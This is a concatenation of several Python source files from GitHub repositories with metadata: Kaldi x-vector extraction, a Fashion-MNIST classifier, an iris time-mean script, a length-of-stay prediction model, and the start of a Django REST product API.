'--chunk-size={}'.format(str(self.chunk_size)),\n '--cache-capacity={}'.format(str(self.cache_capacity)),\n self.nnet, 'ark,t:{}'.format(mfcc_ark.name), 'ark,t:{}'.format(xvec_ark.name)]\n\n logger.info('Extracting x-vectors from {} feature vectors to `{}`.'.format(len(tmp_data_dict), xvec_ark.name))\n process = subprocess.Popen(\n args, stderr=subprocess.PIPE, stdout=subprocess.PIPE, cwd=self.binary_path, shell=False)\n _, stderr = process.communicate()\n if process.returncode != 0:\n raise ValueError('`{}` binary returned error code {}.{}{}'.format(\n self.nnet3_xvector_compute, process.returncode, os.linesep, stderr))\n tmp_xvec_dict = read_txt_vectors(xvec_ark.name)\n xvec_dict = {}\n for key in tmp_xvec_dict:\n new_key = tuple(key.split('_'))\n xvec_dict[new_key] = tmp_xvec_dict[key]\n return xvec_dict\n", "repo_name": "Jamiroquai88/VBDiarization", "sub_path": "vbdiar/kaldi/kaldi_xvector_extraction.py", "file_name": "kaldi_xvector_extraction.py", "file_ext": "py", "file_size_in_byte": 3217, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 94, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "vbdiar.kaldi.nnet3bin_path", "line_number": 15, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "tempfile.NamedTemporaryFile", "line_number": 56, "usage_type": "call"}, {"api_name": "vbdiar.kaldi.utils.write_txt_matrix", "line_number": 57, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 67, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 68, "usage_type": "attribute"}, {"api_name": "os.linesep", "line_number": 72, "usage_type": "attribute"}, {"api_name": "vbdiar.kaldi.utils.read_txt_vectors", "line_number": 73, "usage_type": "call"}]} {"seq_id": "12235518012", "text": "import pandas as pd\nimport numpy as np\nfrom configs import *\nimport matplotlib.pyplot as plt\n\n# Make numpy easier to read\nnp.set_printoptions(precision=3, suppress=True)\n\nimport tensorflow as tf\nfrom tensorflow.keras import layers\n\n\ndef load_data(filepath: str, num_labels: int) -> (np.array, np.array):\n '''\n Loads a csv dataset where one column is named 'label' and contains the class labels, and all the other columns are\n the features and are in the range of [0, 255]. Filepath should be a csv file that contains the data, the num_labels\n should be an integer of the number of labels to be used for one-hot encoding. Returns the features, and labels as\n numpy arrays. Labels are one-hot encoded\n\n :param filepath: str, path to csv file\n :param num_labels: int, number of classes\n\n :return: features:np.array, labels:np.array\n '''\n data = pd.read_csv(filepath)\n\n features = data.copy()\n labels = data.pop('label')\n\n features = np.array(features) / 255\n labels = tf.one_hot(np.array(labels), num_labels)\n\n return features, labels\n\n\ndef build_model(num_labels: int):\n '''\n Builds a tf.keras model. Feel free to tinker with the architecture. The number of labels needs to be input so that\n the correct number of output nodes can be created. This model is designed for one-hot encoded labels\n\n :param num_labels: int, number of categories\n :return: tf.keras compiled model\n '''\n model = tf.keras.Sequential([\n layers.Dense(512, activation='relu'),\n layers.Dense(512, activation='relu'),\n layers.Dense(num_labels, activation='softmax')\n ])\n\n model.compile(\n loss=tf.keras.losses.CategoricalCrossentropy(),\n optimizer=tf.optimizers.Adam(),\n metrics=[\n tf.keras.metrics.CategoricalAccuracy(),\n ]\n )\n\n return model\n\n\nif __name__ == '__main__':\n # Defining the number of categories, since this is the standard Fashion MNIST, there are 10 labels. It could be\n # more efficient to calculate this from the input data, but there could be situations where some datasets don't have\n # an example for every class\n num_labels = 10\n\n # Load in the training data\n fmnist_features, fmnist_labels = load_data(\n DATA_DIR + '/fashion-mnist_train.csv',\n num_labels\n )\n\n # Load validation data, leave as tuple because the validation_data arg in model.fit requires a tuple of (x, y)\n val_data = load_data(\n DATA_DIR + '/fashion-mnist_test.csv',\n num_labels\n )\n\n # Build and compile the model\n fmnist_model = build_model(num_labels)\n\n # Train the model, validation data included\n history = fmnist_model.fit(\n fmnist_features,\n fmnist_labels,\n validation_data=val_data,\n epochs=25,\n verbose=1\n )\n\n # plot the results\n fig, (ax1, ax2) = plt.subplots(2, 1, sharex='all')\n\n ax1.plot(history.history['loss'])\n ax1.plot(history.history['val_loss'])\n ax1.set_title('Loss')\n ax1.set_ylabel('Loss')\n ax1.legend(['Train', 'Validation'])\n\n ax2.plot(history.history['categorical_accuracy'])\n ax2.plot(history.history['val_categorical_accuracy'])\n ax2.set_title('Categorical Accuracy')\n ax2.set_ylabel('Accuracy')\n ax2.set_xlabel('Epoch')\n ax2.legend(['Train', 'Validation'])\n\n plt.show()\n", "repo_name": "domstonehill/fmnist_practice", "sub_path": "fmnist.py", "file_name": "fmnist.py", "file_ext": "py", "file_size_in_byte": 3340, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.set_printoptions", "line_number": 7, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 30, "usage_type": "call"}, {"api_name": "tensorflow.one_hot", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 13, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.Sequential", "line_number": 44, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 44, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 45, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 45, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 46, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 46, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 47, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 47, "usage_type": "name"}, {"api_name": "tensorflow.keras.losses.CategoricalCrossentropy", "line_number": 51, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 51, "usage_type": "attribute"}, {"api_name": "tensorflow.optimizers.Adam", "line_number": 52, "usage_type": "call"}, {"api_name": "tensorflow.optimizers", "line_number": 52, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.metrics.CategoricalAccuracy", "line_number": 54, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 54, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}]} {"seq_id": "41475602806", "text": "\"\"\"Calculate time mean statistics using data_analysis.TimeDomStats.\"\"\"\n\nimport iris\nimport iris.quickplot as qplt\nimport matplotlib.pyplot as plt\n\nimport data_analysis as da\n\nBASEDIR='/gpfs/afm/matthews/data/'\n\n#VAR_NAME='vwnd'; LEVEL=850; SOURCE='erainterim_plev_6h'#; TDOMAINID='jan7912'\nVAR_NAME='swpd'; LEVEL='all'; SOURCE='sg613m031oi01_zlev_h'; TDOMAINID='boballsg'\n#VAR_NAME='ppt'; LEVEL=1; SOURCE='trmm3b42v7_sfc_d'#; TDOMAINID='jan98'\n#VAR_NAME='vwnd'; LEVEL=1000; SOURCE='ncepdoe_plev_d'; TDOMAINID='djf8283_8384'\n#VAR_NAME='uwnd'; LEVEL=200; SOURCE='ncepdoe_plev_d'; TDOMAINID='djf8283'\n\nFILEPRE='' # e.g., '', '_rac',\n\nVERBOSE=2\n\nPLOT=False\n\n#==========================================================================\n\ndescriptor={}\n\ndescriptor['var_name']=VAR_NAME\ndescriptor['level']=LEVEL\ndescriptor['source']=SOURCE\ndescriptor['tdomainid']=TDOMAINID\ndescriptor['basedir']=BASEDIR\ndescriptor['filepre']=FILEPRE\n\n# Create instance of TimeDomStats object\naa=da.TimeDomStats(descriptor,verbose=VERBOSE)\n\n# Calculate event means and time mean\naa.event_means()\naa.f_time_mean()\n\nif PLOT:\n print('# Plot')\n #qplt.contourf(aa.time_mean)\n #plt.gca().coastlines()\n\n qplt.plot(aa.time_mean)\n \n plt.show()\n", "repo_name": "adrianjmatthews/python-iris", "sub_path": "mean.py", "file_name": "mean.py", "file_ext": "py", "file_size_in_byte": 1228, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "data_analysis.TimeDomStats", "line_number": 35, "usage_type": "call"}, {"api_name": "iris.quickplot.plot", "line_number": 46, "usage_type": "call"}, {"api_name": "iris.quickplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}]} {"seq_id": "23487096585", "text": "#!/usr/bin/env python\n# coding: utf-8\n\nimport pandas as pd\nimport numpy as np\nimport pickle\nimport matplotlib.pyplot as plt\nimport pyreadstat\nimport statsmodels.formula.api as smf\nfrom sklearn.metrics import roc_auc_score, roc_curve\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import classification_report, confusion_matrix\nfrom sklearn.metrics import precision_recall_curve\n\nimport tensorflow as tf\nimport sys\nimport os\nprint(f\"Tensorflow Version: {tf.__version__}\")\nprint(f\"Pandas Version: {pd.__version__}\")\nprint(f\"Numpy Version: {np.__version__}\")\nprint(f\"System Version: {sys.version}\")\n\nfrom tensorflow.keras.callbacks import CSVLogger\nfrom tensorflow.keras.layers import *\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.regularizers import l1_l2, l1, l2\nfrom tensorflow.keras.callbacks import EarlyStopping, ModelCheckpoint, ReduceLROnPlateau\n# from keras.callbacks import EarlyStopping\n# from keras.callbacks import ReduceLROnPlateau\nfrom tensorflow.keras import backend as K\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\n\nimport platform\nuname = platform.node()\nos.environ[\"HDF5_USE_FILE_LOCKING\"] = \"FALSE\"\nmachine = int(uname.split(\".\")[0][-1])\nif machine == 8:\n os.environ[\"CUDA_VISIBLE_DEVICES\"]=\"1,2,3\"\nos.environ['TF_FORCE_GPU_ALLOW_GROWTH'] = 'true'\nimport logging\nphysical_devices = tf.config.list_physical_devices('GPU')\nif physical_devices:\n try:\n for device in physical_devices:\n tf.config.experimental.set_memory_growth(device, True)\n except Exception as err:\n logging.error(err)\n\n\nglobal mirrored_strategy\nglobal BATCH_SIZE_PER_REPLICA, EPOCHS, GLOBAL_BATCH_SIZE, BUFFER_SIZE, CURR_EPOCH\n\n\n\nif tf.config.list_physical_devices('GPU'):\n\n mirrored_strategy = tf.distribute.MirroredStrategy(devices=[ \"/gpu:0\", \"/gpu:1\", \"/gpu:2\", \"/gpu:3\"],\n cross_device_ops=tf.distribute.HierarchicalCopyAllReduce())\n\n\ndef simple_ann_model(OUTPUT_CHANNELS):\n inputs = Input(shape=(encoded_items.shape[1]))\n x = Dense(64, activation='relu',kernel_regularizer= l1_l2(0.01), name='dense_a')(inputs)\n x = tf.keras.layers.BatchNormalization()(x)\n x = Dropout(0.05)(x)\n x = Dense(32, activation='relu',kernel_regularizer= l1_l2(0.01), name='dense_b')(x)\n x = tf.keras.layers.BatchNormalization()(x)\n x = Dropout(0.05)(x)\n x = Dense(16, activation='relu',kernel_regularizer= l1_l2(0.01), name='dense_c')(x)\n x = tf.keras.layers.BatchNormalization()(x)\n x = Dropout(0.05)(x)\n# x = Dense(64, activation='relu',kernel_regularizer= l1_l2(0.01), name='dense_d')(x)\n# x = tf.keras.layers.BatchNormalization()(x)\n# x = Dropout(0.05)(x)\n\n# # x = Dense(32, activation='relu',kernel_regularizer= l1_l2(0.01), name='dense_e')(x)\n# # x = tf.keras.layers.BatchNormalization()(x)\n# # x = Dropout(0.1)(x)\n# x = Dense(8, activation='relu',kernel_regularizer= l1_l2(0.001), name='dense_f')(x)\n# x = tf.keras.layers.BatchNormalization()(x)\n# x = Dropout(0.05)(x)\n# out =Dense(OUTPUT_CHANNELS, activation='softmax')(x)\n out =Dense(OUTPUT_CHANNELS, activation='sigmoid')(x)\n\n model = tf.keras.Model(inputs=inputs, outputs=out)\n return model\n\n\nif __name__ == '__main__':\n THRES = sys.argv[1]\n X = pickle.load(open(\"X_aug22_small_up_m_\"+str(THRES)+\"thr.pkl\", 'rb'))\n Y = pickle.load(open(\"Y_aug22_small_up_m_\"+str(THRES)+\"thr.pkl\", 'rb'))\n\n i_dims = X.shape[1]\n\n\n maindf_concat4_small = pickle.load( open(\"df_upsampled_aug22_m_\"+str(THRES)+\"thr.pkl\", 'rb'))\n\n maindf_concat4_small.columns = [i.replace(\".0\",\"\") for i in maindf_concat4_small.columns]\n\n for i in maindf_concat4_small.columns:\n maindf_concat4_small[i] = maindf_concat4_small[i].astype(float)\n\n cols = [\"Congestive Heart Failure\", \"Cardiac Arrhythmias\", \"Valvular Disease\",\"Pulmonary Circulation Disorders\", \n \"Peripheral Vascular Disorders\", \"Hypertension, Uncomplicated\",\n \"Paralysis\",\"Other Neurological Disorders\", \"Chronic Pulmonary Disease\", \"Diabetes, Uncomplicated\", \"Diabetes, Complicated\",\n \"Hypothyroidism\", \"Renal Failure\", \"Liver Disease\", \"Peptic Ulcer Disease Excluding Bleeding\",\"AIDS/HIV\",\n \"Lymphoma\", \"Metastatic Cancer\", \"Solid Tumor Without Metastasis\", \"Rheumatoid Arthritis/Collagen Vascular\", \n \"Coagulopathy\", \"Obesity\", \"Weight Loss\", \"Fluid and Electrolyte Disorders\", \"Blood Loss Anemia\",\n \"Deficiency Anemia\", \"Alcohol Abuse\", \"Drug Abuse\", \"Psychoses\", \"Depression\", \"Hypertension, Complicated\",\n \"age_less_than_40\",\"age_40_to_60\",\"age_60_to_75\",\"age_75_above\", \"female_no\", \"female_yes\", \"female_unknown\",\n \"January\", \"February\", \"March\", \"April\", \"May\", \"June\", \"July\", \"August\", \"September\", \"October\", \"November\",\n \"December\",\"month_nan\", \"Weeken_no\", \"Weekend_yes\", \"HOSP_CONTROL_0\", \"HOSP_CONTROL_1\", \"HOSP_CONTROL_2\", \"HOSP_CONTROL_3\",\n \"HOSP_CONTROL_4\", \"HOSP_REGION_1\", \"HOSP_REGION_2\",\"HOSP_REGION_3\", \"HOSP_REGION_4\", \"HOSP_UR_TEACH_0\",\n \"HOSP_UR_TEACH_1\", \"HOSP_UR_TEACH_2\", \"HOSP_URCAT4_1\",\"HOSP_URCAT4_2\", \"HOSP_URCAT4_3\", \"HOSP_URCAT4_4\",\n \"HOSP_URCAT4_7\", \"HOSP_URCAT4_8\", \"HOSP_URCAT4_9\", \"label\"]\n\n\n maindf_concat4_small.columns = cols\n\n\n maindf_concat4_small.columns = [i.replace(\"Diabetes,\",\"Diabetes\") for i in maindf_concat4_small.columns]\n maindf_concat4_small.columns = [i.replace(\"Hypertension,\",\"Hypertension\") for i in maindf_concat4_small.columns]\n\n maindf_concat4_small.columns = [i.replace(\" \",\"_\") for i in maindf_concat4_small.columns]\n maindf_concat4_small.columns = [i.replace(\"/\",\"_or_\") for i in maindf_concat4_small.columns]\n\n maindf_concat4_small.drop(maindf_concat4_small.columns[[34, 37, 49, 50,57,61,64,71]], axis=1, inplace=True) #Dropping dummy variables\n\n\n base = ''\n for i in list(maindf_concat4_small.columns[:-1]):\n base = base + \" + \"+ i\n\n\n smf_model = smf.logit(formula = \"label ~ \"+ str(base[3:]), data= maindf_concat4_small).fit_regularized()\n\n\n results_summary = smf_model.summary()\n\n results_as_html = results_summary.tables[1].as_html()\n\n\n stats_df = pd.read_html(results_as_html, header=0, index_col=0)[0]\n\n stats_df.to_excel('stats_df_'+str(THRES)+'.xlsx', engine='xlsxwriter') \n\n\n X_train, X_test,y_train, y_test = train_test_split(maindf_concat4_small.iloc[:,:-1].values, Y, test_size=0.20, random_state=42, shuffle = True, stratify = Y)\n\n model = LogisticRegression(solver='liblinear', random_state=0)\n\n model.fit(X_train, y_train[:,1])\n\n y_pred = model.predict_proba(X_test)\n\n\n # roc curve\n fpr = dict()\n tpr = dict()\n cs =[\"Short_stay (≤ 48 hours)\", \"Long_stay (> 48 hours)\"]\n operating_points = []\n for i in range(len(cs)):\n fpr[i], tpr[i], thresholds = roc_curve(y_test[:, i],y_pred[:, i])\n optimal_idx = np.argmax(tpr[i] - fpr[i])\n optimal_threshold = thresholds[optimal_idx]\n operating_points.append(optimal_threshold)\n #print(\"Threshold value is:\", optimal_threshold)\n auc = roc_auc_score(y_test[:, i],y_pred[:, i])\n print(auc)\n plt.plot(fpr[i], tpr[i], label='{} (auc = {})'.format(cs[i], round(auc,5)))\n\n plt.xlabel(\"false positive rate\")\n plt.ylabel(\"true positive rate\")\n plt.legend(loc=\"best\")\n plt.title(\"ROC curve\")\n plt.savefig('model_logit'+str(THRES)+'.jpg', dpi=300)\n plt.show()\n\n labels =[ \"Short_stay\", \"Long_stay\"]\n\n conf_mat_dict={}\n thresholds = operating_points\n\n\n for label_col in range(len(labels)):\n print(labels[label_col])\n y_true_label = y_test[:, label_col]\n y_pred_label = y_pred[:, label_col]\n y_pred_label = np.where(y_pred_label>thresholds[label_col], 1., 0.)\n print(classification_report(y_true_label,y_pred_label))\n conf_mat_dict[labels[label_col]] = confusion_matrix(y_pred=y_pred_label, y_true=y_true_label)\n\n\n for label, matrix in conf_mat_dict.items():\n print(\"Confusion matrix for label {}:\".format(label))\n print(matrix)\n\n\n cm = confusion_matrix(y_test[:,1], model.predict(X_test))\n\n fig, ax = plt.subplots(figsize=(8, 8))\n ax.imshow(cm)\n ax.grid(False)\n ax.xaxis.set(ticks=(0, 1), ticklabels=('Predicted 0s', 'Predicted 1s'))\n ax.yaxis.set(ticks=(0, 1), ticklabels=('Actual 0s', 'Actual 1s'))\n ax.set_ylim(1.5, -0.5)\n for i in range(2):\n for j in range(2):\n ax.text(j, i, cm[i, j], ha='center', va='center', color='red')\n plt.show()\n\n\n encoded_items = X_train\n\n with mirrored_strategy.scope():\n model = simple_ann_model(2)\n\n opt = tf.keras.optimizers.Adam(\n learning_rate=0.001, beta_1=0.9, beta_2=0.999, epsilon=1e-07, amsgrad=False,\n name='Adam', decay= 1e-4, clipvalue=0.5\n )\n # opt =tf.keras.optimizers.SGD(0.00001)\n model.compile(optimizer=opt,\n loss='binary_crossentropy',\n metrics=[tf.keras.metrics.AUC(), 'accuracy'])\n\n #loss='mean_squared_error',\n ES = EarlyStopping(monitor='val_loss', mode='min', min_delta=0.0001, verbose=1, patience=10)\n Reduce_LR = ReduceLROnPlateau(monitor='val_loss', mode='min', factor=0.9, patience=15, min_lr=1e-20, verbose=1, cooldown=3)\n\n model_history = model.fit(encoded_items, y_train, \n verbose=2, \n validation_split=0.20,\n epochs=750, \n batch_size = 8192,\n shuffle=True,\n callbacks=[ES, Reduce_LR])\n\n y_pred = model.predict( X_test)\n\n means = [np.mean(y_pred[:,0]),np.mean(y_pred[:,1])]\n\n min_maxes = [(np.min(y_pred[:,0])+np.min(y_pred[:,0]))/2,\n (np.min(y_pred[:,0])+np.min(y_pred[:,1]))/2]\n\n\n # roc curve\n fpr = dict()\n tpr = dict()\n cs =[\"Short_stay (≤ 48 hours)\", \"Long_stay (> 48 hours)\"]\n operating_points = []\n for i in range(len(cs)):\n fpr[i], tpr[i], thresholds = roc_curve(y_test[:, i],y_pred[:, i])\n optimal_idx = np.argmax(tpr[i] - fpr[i])\n optimal_threshold = thresholds[optimal_idx]\n operating_points.append(optimal_threshold)\n #print(\"Threshold value is:\", optimal_threshold)\n auc = roc_auc_score(y_test[:, i],y_pred[:, i])\n print(auc)\n plt.plot(fpr[i], tpr[i], label='{} (auc = {})'.format(cs[i], round(auc,5)))\n\n plt.xlabel(\"false positive rate\")\n plt.ylabel(\"true positive rate\")\n plt.legend(loc=\"best\")\n plt.title(\"ROC curve\")\n plt.savefig('model_review_'+str(THRES)+'.jpg', dpi=300)\n plt.show()\n\n\n labels =[ \"Short_stay\", \"Long_stay\"]\n\n conf_mat_dict={}\n thresholds = operating_points\n\n\n for label_col in range(len(labels)):\n print(labels[label_col])\n y_true_label = y_test[:, label_col]\n y_pred_label = y_pred[:, label_col]\n y_pred_label = np.where(y_pred_label>thresholds[label_col], 1., 0.)\n print(classification_report(y_true_label,y_pred_label))\n conf_mat_dict[labels[label_col]] = confusion_matrix(y_pred=y_pred_label, y_true=y_true_label)\n\n\n for label, matrix in conf_mat_dict.items():\n print(\"Confusion matrix for label {}:\".format(label))\n print(matrix)\n\n", "repo_name": "kagocchi28/ANN-code-for-NEDS-syncope-2022", "sub_path": "Emergency_model.py", "file_name": "Emergency_model.py", "file_ext": "py", "file_size_in_byte": 11386, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "tensorflow.__version__", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pandas.__version__", "line_number": 19, "usage_type": "attribute"}, {"api_name": "numpy.__version__", "line_number": 20, "usage_type": "attribute"}, {"api_name": "sys.version", "line_number": 21, "usage_type": "attribute"}, {"api_name": "platform.node", "line_number": 36, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 41, "usage_type": "attribute"}, {"api_name": "tensorflow.config.list_physical_devices", "line_number": 43, "usage_type": "call"}, {"api_name": "tensorflow.config", "line_number": 43, "usage_type": "attribute"}, {"api_name": "tensorflow.config.experimental.set_memory_growth", "line_number": 47, "usage_type": "call"}, {"api_name": "tensorflow.config", "line_number": 47, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 49, "usage_type": "call"}, {"api_name": "tensorflow.config.list_physical_devices", "line_number": 57, "usage_type": "call"}, {"api_name": "tensorflow.config", "line_number": 57, "usage_type": "attribute"}, {"api_name": "tensorflow.distribute.MirroredStrategy", "line_number": 59, "usage_type": "call"}, {"api_name": "tensorflow.distribute", "line_number": 59, "usage_type": "attribute"}, {"api_name": "tensorflow.distribute.HierarchicalCopyAllReduce", "line_number": 60, "usage_type": "call"}, {"api_name": "tensorflow.distribute", "line_number": 60, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.regularizers.l1_l2", "line_number": 65, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.BatchNormalization", "line_number": 66, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 66, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.regularizers.l1_l2", "line_number": 68, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.BatchNormalization", "line_number": 69, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 69, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.regularizers.l1_l2", "line_number": 71, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.BatchNormalization", "line_number": 72, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 72, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.Model", "line_number": 87, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 87, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 92, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 93, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 94, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 99, "usage_type": "call"}, {"api_name": "statsmodels.formula.api.logit", "line_number": 138, "usage_type": "call"}, {"api_name": "statsmodels.formula.api", "line_number": 138, "usage_type": "name"}, {"api_name": "pandas.read_html", "line_number": 146, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 151, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 153, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 166, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 167, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 171, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 173, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 173, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 175, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 175, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 176, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 176, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 177, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 177, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 178, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 178, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 179, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 179, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 180, "usage_type": "name"}, {"api_name": "numpy.where", "line_number": 192, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 193, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 194, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 202, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 204, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 204, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 213, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 213, "usage_type": "name"}, {"api_name": "tensorflow.keras.optimizers.Adam", "line_number": 221, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 221, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.metrics.AUC", "line_number": 228, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 228, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.callbacks.EarlyStopping", "line_number": 231, "usage_type": "call"}, {"api_name": "tensorflow.keras.callbacks.ReduceLROnPlateau", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 244, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 246, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 247, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 256, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 257, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 261, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 263, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 263, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 265, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 265, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 266, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 266, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 267, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 267, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 268, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 268, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 269, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 269, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 270, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 270, "usage_type": "name"}, {"api_name": "numpy.where", "line_number": 283, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 284, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 285, "usage_type": "call"}]} {"seq_id": "26871501352", "text": "\nfrom rest_framework import generics\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom .tools import mysmtp\nfrom .models import Producto\nfrom drf_yasg.utils import swagger_auto_schema\nfrom drf_yasg import openapi\nfrom django.shortcuts import get_object_or_404\nfrom datetime import date\nfrom .serializers import ProductoSerializer,ProductoCreateSerializer,ProductoCarritoSerializer,ProductoCarritoSerializerPost\n\nfrom .models import Carrito, ProductoCarrito\nfrom .serializers import ProductoCarritoSerializer\n\n\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\n\n\n\n \n\nclass ProductoList(generics.ListAPIView):\n queryset = Producto.objects.filter(eliminado=False).order_by('tipo', '-fechaInclusion')\n serializer_class = ProductoSerializer\n @swagger_auto_schema(\n operation_description=\"Obtener lista de productos\",\n responses={200: ProductoSerializer(many=True)},\n )\n def get(self, request, *args, **kwargs):\n return super().get(request, *args, **kwargs)\n\n\nclass ProductoListCreateView(generics.ListCreateAPIView):\n queryset = Producto.objects.filter(eliminado=False).order_by('tipo', '-fechaInclusion')\n 